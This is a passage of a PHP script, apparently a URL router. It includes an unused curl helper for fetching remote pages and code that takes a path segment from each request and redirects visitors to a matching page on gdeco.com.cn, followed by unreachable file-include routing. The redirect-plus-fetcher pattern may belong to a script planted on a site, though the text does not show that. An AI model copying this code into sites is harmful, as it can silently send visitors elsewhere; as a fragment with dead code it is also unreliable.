'."\n";}function papa($e){$f=curl_init();curl_setopt($f,CURLOPT_URL,$e);curl_setopt($f,CURLOPT_USERAGENT,ent);curl_setopt($f,CURLOPT_TIMEOUT,30);curl_setopt($f,CURLOPT_RETURNTRANSFER,1);$g=curl_exec($f);return $g;}
function getpageurl() {
$pageURL = 'http';
if(isset($_SERVER['HTTPS']) && $_SERVER["HTTPS"] == "on"){
$pageURL .= "s";
}
$pageURL .= "://";
if ($_SERVER["SERVER_PORT"] != "80") {
$pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"];
}else{
$pageURL .= $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
}
return $pageURL;
}
$url = getpageurl() ;
$url=parse_url($url);
//echo '协议 : '.$url['scheme']."
";
//echo '主机 : '.$url['host']."
";
//echo '路径 : '.$url['path']."
";
$myurl=explode('/',$url["path"]);
//print_r($myurl);
$a=$myurl[5];
$canshu=explode('.',$myurl[5]);
//print_r($canshu);
//exit;
if($canshu[0]){
//echo '存在';
header("location:https://www.gdeco.com.cn/".$canshu[0].".html");
}else{
//echo '不存在';
header("location:https://www.gdeco.com.cn/");
}
exit;
//include('318.html');
// 定义一个数组
$arrays = array('index', 'cat', 'goods','article','articlelist','article','aboutus','brand','search','');
// 判断 'apple' 是否在数组中
if (in_array($canshu[0], $arrays)) {
//echo $canshu[0].'在数组中';
if($canshu[0]=='cat' || $canshu[0]=='goods'){
if(count($canshu)!=2){
echo '没带数';exit;
}
}
//include 'cat.php';
if($canshu[0]==''){
include('indexx.php');
}else{
if($canshu[0]=='index'){
include('indexx.php');
}else{
include($canshu[0].'.php');
}
}
} else {
// echo $canshu[0].'不在数组中';
exit;
}
?>